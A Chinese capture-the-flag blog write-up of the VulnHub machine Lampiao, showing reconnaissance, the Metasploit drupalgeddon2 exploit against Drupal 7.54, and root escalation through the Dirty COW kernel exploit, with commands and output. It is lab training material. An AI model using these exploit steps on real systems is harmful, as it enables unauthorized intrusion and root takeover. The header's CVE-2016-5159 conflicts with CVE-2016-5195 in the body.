VulnHub - Lampiao

 希望和各位大佬一起学习，如果文章内容有错请多多指正，谢谢！  

个人博客链接：CH4SER的个人BLOG – Welcome To Ch4ser's Blog

Lampiao 靶机下载地址：https://www.vulnhub.com/entry/lampiao-1,249/

0x01 信息收集

Nmap扫描目标主机，发现开放22、80、1898端口，分别运行OpenSSH 6.6.1p1、Apache httpd 2.4.7服务。

nmap -p- -sV -sC -A 192.168.196.134

访问80端口界面如下，未发现有价值信息。

访问1898端口为登录界面。Wappalyzer显示CMS为Drupal 7，编程语言为PHP。

DirSearch扫描网站目录，发现/CHANGELOG.txt等多个敏感文件和目录，其内容显示Drupal版本为7.54。

python dirsearch.py -u "http://192.168.196.134:1898/" -z yes

0x02 Web漏洞利用 - drupalgeddon2

MSF搜索Drupal，使用payload：exploit/unix/webapp/drupal_drupalgeddon2

msf6 > search drupal
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.196.134
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run

 得到Web权限www-data

0x03 内核提权 - dirtycow（CVE-2016-5159）

上传内核漏洞辅助探测脚本linux-exploit-suggester.sh至目标主机/tmp目录下，给予执行权限执行。

辅助项目下载地址：https://github.com/The-Z-Labs/linux-exploit-suggester

得知系统为Ubuntu 14.04，内核版本为4.4.0，检测到[CVE-2016-5195] dirtycow，并给出了EXP下载地址，我这里用的EXP是另外从EXP监控项目里找的。

EXP监控项目下载地址：https://github.com/nomi-sec/PoC-in-GitHub

Dirtycow EXP下载地址：https://github.com/gbonacini/CVE-2016-5195

上传dcow.cpp至目标主机/tmp目录下，c++编译为目标文件dcow，python切换为pty环境执行dcow（不然看不到回显）

成功修改root账户密码为dirtyCowFun，su切换成功登录root，随后拿到/root目录下的flag。

meterpreter > upload /root/dcow.cpp /tmp/
meterpreter > shell
cd /tmp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
ls
dcow
dcow.cpp
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@lampiao:/tmp$ ./dcow
Running ...
Received su prompt (Password: )
Root password is:   dirtyCowFun
Enjoy! :-)
www-data@lampiao:/tmp$ su root
Password: dirtyCowFun
root@lampiao:/tmp# id
uid=0(root) gid=0(root) groups=0(root)